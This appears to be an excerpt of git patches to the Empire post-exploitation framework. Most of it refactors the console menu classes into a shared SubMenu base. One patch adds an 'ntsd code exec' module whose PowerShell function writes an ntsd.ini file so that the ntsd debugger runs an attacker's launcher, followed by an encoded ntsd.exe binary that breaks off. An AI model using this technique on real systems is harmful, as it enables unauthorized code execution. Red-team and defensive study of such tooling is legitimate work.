         if listenerName not in self.mainMenu.listeners.loadedListeners:
             print helpers.color("[!] Listener '%s' not currently valid!" % (listenerName))
@@ -3094,51 +2934,6 @@ class ListenerMenu(cmd.Cmd):
         # set the text prompt
         self.prompt = '(Empire: ' + helpers.color("listeners/%s" % (listenerName), 'red') + ') > '
 
-    def cmdloop(self):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-	cmd.Cmd.cmdloop(self)
-
-    def emptyline(self):
-        """
-        If any empty line is entered, do nothing.
-        """
-        pass
-
-
-    def do_back(self, line):
-        "Go back a menu."
-        return True
-
-    def postcmd(self, stop, line):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-
-    def do_agents(self, line):
-        "Jump to the Agents menu."
-        raise NavAgents()
-
-
-    def do_listeners(self, line):
-        "Jump to the listeners menu."
-        raise NavListeners()
-
-
-    def do_main(self, line):
-        "Go back to the main menu."
-        raise NavMain()
-
-    def do_resource(self, arg):
-	"Read and execute a list of Empire commands from a file."
-	self.mainMenu.resourceQueue = []
-	with open(arg) as f:
-	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
-
-    def do_exit(self, line):
-        "Exit Empire."
-        raise KeyboardInterrupt
-
-
     def do_info(self, line):
         "Display listener module options."
         messages.display_listener_module(self.listener)
@@ -3263,15 +3058,14 @@ class ListenerMenu(cmd.Cmd):
         return [s[offs:] for s in languages if s.startswith(mline)]
 
 
-class ModuleMenu(cmd.Cmd):
+class ModuleMenu(SubMenu):
     """
     The main class used by Empire to drive the 'module' menu.
     """
     def __init__(self, mainMenu, moduleName, agent=None):
 
-        cmd.Cmd.__init__(self)
+        SubMenu.__init__(self, mainMenu)
         self.doc_header = 'Module Commands'
-        self.mainMenu = mainMenu
 
         try:
             # get the current module/name
@@ -3290,14 +3084,6 @@ class ModuleMenu(cmd.Cmd):
         except Exception as e:
             print helpers.color("[!] ModuleMenu() init error: %s" % (e))
 
-    def cmdloop(self):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-	cmd.Cmd.cmdloop(self)
-
-    # def preloop(self):
-    #     traceback.print_stack()
-
     def validate_options(self):
         "Ensure all required module options are completed."
 
@@ -3344,56 +3130,6 @@ class ModuleMenu(cmd.Cmd):
 
         return True
 
-
-    def emptyline(self):
-        pass
-
-
-    # print a nicely formatted help menu
-    # stolen/adapted from recon-ng
-    def print_topics(self, header, commands, cmdlen, maxcol):
-        if commands:
-            self.stdout.write("%s\n" % str(header))
-            if self.ruler:
-                self.stdout.write("%s\n" % str(self.ruler * len(header)))
-            for command in commands:
-                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
-            self.stdout.write("\n")
-
-
-    def do_back(self, line):
-        "Go back a menu."
-        return True
-
-    def postcmd(self, stop, line):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-
-    def do_agents(self, line):
-        "Jump to the Agents menu."
-        raise NavAgents()
-
-
-    def do_listeners(self, line):
-        "Jump to the listeners menu."
-        raise NavListeners()
-
-
-    def do_main(self, line):
-        "Go back to the main menu."
-        raise NavMain()
-
-    def do_resource(self, arg):
-	"Read and execute a list of Empire commands from a file."
-	self.mainMenu.resourceQueue = []
-	with open(arg) as f:
-	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
-
-    def do_exit(self, line):
-        "Exit Empire."
-        raise KeyboardInterrupt
-
-
     def do_list(self, line):
         "Lists all active agents (or listeners)."
 
@@ -3404,7 +3140,6 @@ class ModuleMenu(cmd.Cmd):
         else:
             print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
 
-
     def do_reload(self, line):
         "Reload the current module."
 
@@ -3681,16 +3416,14 @@ class ModuleMenu(cmd.Cmd):
         return [s[offs:] for s in names if s.startswith(mline)]
 
 
-class StagerMenu(cmd.Cmd):
+class StagerMenu(SubMenu):
     """
     The main class used by Empire to drive the 'stager' menu.
     """
     def __init__(self, mainMenu, stagerName, listener=None):
-        cmd.Cmd.__init__(self)
+        SubMenu.__init__(self, mainMenu)
         self.doc_header = 'Stager Menu'
 
-        self.mainMenu = mainMenu
-
         # get the current stager name
         self.stagerName = stagerName
         self.stager = self.mainMenu.stagers.stagers[stagerName]
@@ -3704,11 +3437,6 @@ class StagerMenu(cmd.Cmd):
             listener = self.mainMenu.listeners.get_listener(listener)
             self.stager.options['Listener']['Value'] = listener
 
-    def cmdloop(self):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-	cmd.Cmd.cmdloop(self)
-
     def validate_options(self):
         "Make sure all required stager options are completed."
 
@@ -3725,56 +3453,6 @@ class StagerMenu(cmd.Cmd):
 
         return True
 
-
-    def emptyline(self):
-        pass
-
-
-    # print a nicely formatted help menu
-    # stolen/adapted from recon-ng
-    def print_topics(self, header, commands, cmdlen, maxcol):
-        if commands:
-            self.stdout.write("%s\n" % str(header))
-            if self.ruler:
-                self.stdout.write("%s\n" % str(self.ruler * len(header)))
-            for command in commands:
-                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
-            self.stdout.write("\n")
-
-
-    def do_back(self, line):
-        "Go back a menu."
-        return True
-
-    def postcmd(self, stop, line):
-	if self.mainMenu.resourceQueue and len(self.mainMenu.resourceQueue) > 0:
-	    self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
-
-    def do_agents(self, line):
-        "Jump to the Agents menu."
-        raise NavAgents()
-
-
-    def do_listeners(self, line):
-        "Jump to the listeners menu."
-        raise NavListeners()
-
-
-    def do_main(self, line):
-        "Go back to the main menu."
-        raise NavMain()
-
-    def do_resource(self, arg):
-	"Read and execute a list of Empire commands from a file."
-	self.mainMenu.resourceQueue = []
-	with open(arg) as f:
-	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
-
-    def do_exit(self, line):
-        "Exit Empire."
-        raise KeyboardInterrupt
-
-
     def do_list(self, line):
         "Lists all active agents (or listeners)."
 

From 0485b2b6fdbd4652b9d5730bb9fc9a060cc2bbd8 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Fri, 13 Oct 2017 10:45:55 -0600
Subject: [PATCH 12/50] can call agents from any submenu now

---
 lib/common/empire.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index c34eed6..91b843a 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -925,6 +925,10 @@ class SubMenu(cmd.Cmd):
         "Jump to the listeners menu."
         raise NavListeners()
 
+    def do_agents(self, line):
+        "Jump to the agents menu."
+        raise NavAgents()
+
     def do_main(self, line):
         "Go back to the main menu."
         raise NavMain()

From 23de7bc71ac0581aaba2dd23f2df42cc9793e015 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Fri, 13 Oct 2017 21:13:25 -0600
Subject: [PATCH 13/50] removing duplicate method

---
 lib/common/empire.py | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index 91b843a..b2b5090 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -2328,11 +2328,6 @@ class PythonAgentMenu(SubMenu):
         agent = self.mainMenu.agents.get_agent_db(self.sessionID)
         messages.display_agent(agent)
 
-    def do_resource(self, arg):
-	"Read and execute a list of Empire commands from a file."
-	self.mainMenu.resourceQueue = []
-	with open(arg) as f:
-	    self.mainMenu.resourceQueue.extend(f.read().splitlines())
 
     def do_exit(self, line):
         "Task agent to exit."

From 999970e96aeb04db11bd24ea2fdc346a9cc82d2c Mon Sep 17 00:00:00 2001
From: root <root@localhost.localdomain>
Date: Mon, 16 Oct 2017 10:23:41 -0400
Subject: [PATCH 14/50] pushing module for ntsd code exec

---
 .../code_execution/Invoke-Ntsd.ps1            |   8 +
 data/module_source/code_execution/ntsd.exe    | Bin 0 -> 98760 bytes
 .../module_source/code_execution/ntsdexts.dll | Bin 0 -> 85448 bytes
 .../powershell/code_execution/invoke_ntsd.py  | 155 ++++++++++++++++++
 4 files changed, 163 insertions(+)
 create mode 100644 data/module_source/code_execution/Invoke-Ntsd.ps1
 create mode 100644 data/module_source/code_execution/ntsd.exe
 create mode 100644 data/module_source/code_execution/ntsdexts.dll
 create mode 100644 lib/modules/powershell/code_execution/invoke_ntsd.py

diff --git a/data/module_source/code_execution/Invoke-Ntsd.ps1 b/data/module_source/code_execution/Invoke-Ntsd.ps1
new file mode 100644
index 0000000..988347b
--- /dev/null
+++ b/data/module_source/code_execution/Invoke-Ntsd.ps1
@@ -0,0 +1,8 @@
+
+Function Write-Ini([string]$path, [string]$launcher)
+{
+	# -Encoding ASCII is needed otherwise it will write in unicode
+	# this will cause ntsd to not execute our code
+	".shell" | Out-File -Encoding ASCII "$path\ntsd.ini"
+	"$launcher" | Out-File -Encoding ASCII "$path\ntsd.ini" -Append
+}
diff --git a/data/module_source/code_execution/ntsd.exe b/data/module_source/code_execution/ntsd.exe
new file mode 100644
index 0000000000000000000000000000000000000000..e726683a71bd1f706424b18e101f3363e430a465
GIT binary patch
literal 98760
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
